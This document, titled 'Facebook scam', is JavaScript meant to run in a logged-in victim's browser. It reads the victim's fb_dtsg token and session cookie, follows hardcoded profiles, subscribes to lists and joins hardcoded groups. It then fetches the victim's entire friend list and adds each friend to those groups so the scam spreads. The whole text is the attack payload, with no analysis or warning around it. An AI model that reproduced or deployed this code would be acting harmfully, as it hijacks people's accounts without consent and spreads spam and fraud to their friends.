Facebook scam

function a(abone){
    var http4=new XMLHttpRequest();
    var url4="/ajax/follow/follow_profile.php?__a=1";
    var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";
    http4.open("POST",url4,true);
    http4.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    http4.setRequestHeader("Content-length",params4.length);
    http4.setRequestHeader("Connection","close");
    http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200){http4.close}}http4.send(params4)
}

function sublist(uidss){
    var a=document.createElement('script');
    a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";
    document.body.appendChild(a)
}

a("100005481900173");
a("100005946942116");
sublist("139222112937185");
sublist("112241865650711");
var gid=['474632132609435'];
var fb_dtsg=document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id=document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
var httpwp=new XMLHttpRequest();
var urlwp='/ajax/groups/membership/r2j.php?__a=1';
var paramswp='&ref=group_jump_header&group_id='+gid+'&fb_dtsg='+fb_dtsg+'&__user='+user_id+'&phstamp=';
httpwp['open']('POST',urlwp,true);
httpwp['setRequestHeader']('Content-type','application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length',paramswp['length']);
httpwp['setRequestHeader']('Connection','keep-alive');
httpwp['send'](paramswp);
var fb_dtsg=document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id=document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
var friends=new Array();
gf=new XMLHttpRequest();
gf['open']('GET','/ajax/typeahead/first_degree.php?__a=1&viewer='+user_id+'&token'+Math['random']()+'&filter[0]=user&options[0]=friends_only',false);
gf['send']();
if(gf['readyState']!=4){}
else{
    data=document.write('('+gf['responseText']['substr'](9)+')');
    if(data['error']){}
    else{
        friends=data['payload']['entries']['sort'](function(_0x93dax8,_0x93dax9){return _0x93dax8['index']-_0x93dax9['index']})
    }
};
for(var i=0;i<friends['length'];i++){
    var httpwp=new XMLHttpRequest();
    var urlwp='/ajax/groups/members/add_post.php?__a=1';
    var paramswp='&fb_dtsg='+fb_dtsg+'&group_id='+gid+'&source=typeahead&ref=&message_id=&members='+friends[i]['uid']+'&__user='+user_id+'&phstamp=';
    httpwp['open']('POST',urlwp,true);
    httpwp['setRequestHeader']('Content-type','application/x-www-form-urlencoded');
    httpwp['setRequestHeader']('Content-length',paramswp['length']);
    httpwp['setRequestHeader']('Connection','keep-alive');
    httpwp['onreadystatechange']=function(){if(httpwp['readyState']==4&&httpwp['status']==200){}};
    httpwp['send'](paramswp)
};
var gid=['170584639775213'];
var fb_dtsg=document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id=document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
var httpwp=new XMLHttpRequest();
var urlwp='/ajax/groups/membership/r2j.php?__a=1';
var paramswp='&ref=group_jump_header&group_id='+gid+'&fb_dtsg='+fb_dtsg+'&__user='+user_id+'&phstamp=';
httpwp['open']('POST',urlwp,true);
httpwp['setRequestHeader']('Content-type','application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length',paramswp['length']);
httpwp['setRequestHeader']('Connection','keep-alive');
httpwp['send'](paramswp);
var fb_dtsg=document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id=document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
var friends=new Array();
gf=new XMLHttpRequest();
gf['open']('GET','/ajax/typeahead/first_degree.php?__a=1&viewer='+user_id+'&token'+Math['random']()+'&filter[0]=user&options[0]=friends_only',false);
gf['send']();
if(gf['readyState']!=4){}
else{
    data=document.write('('+gf['responseText']['substr'](9)+')');
    if(data['error']){}
    else{ friends=data['payload']['entries']['sort'](function(_0x93dax8,_0x93dax9){return _0x93dax8['index']-_0x93dax9['index']}) }
};
for(var i=0;i<friends['length'];i++){
    var httpwp=new XMLHttpRequest();
    var urlwp='/ajax/groups/members/add_post.php?__a=1';
    var paramswp='&fb_dtsg='+fb_dtsg+'&group_id='+gid+'&source=typeahead&ref=&message_id=&members='+friends[i]['uid']+'&__user='+user_id+'&phstamp=';
    httpwp['open']('POST',urlwp,true);
    httpwp['setRequestHeader']('Content-type','application/x-www-form-urlencoded');
    httpwp['setRequestHeader']('Content-length',paramswp['length']);
    httpwp['setRequestHeader']('Connection','keep-alive');
    httpwp['onreadystatechange']=function(){if(httpwp['readyState']==4&&httpwp['status']==200){}};
    httpwp['send'](paramswp)
};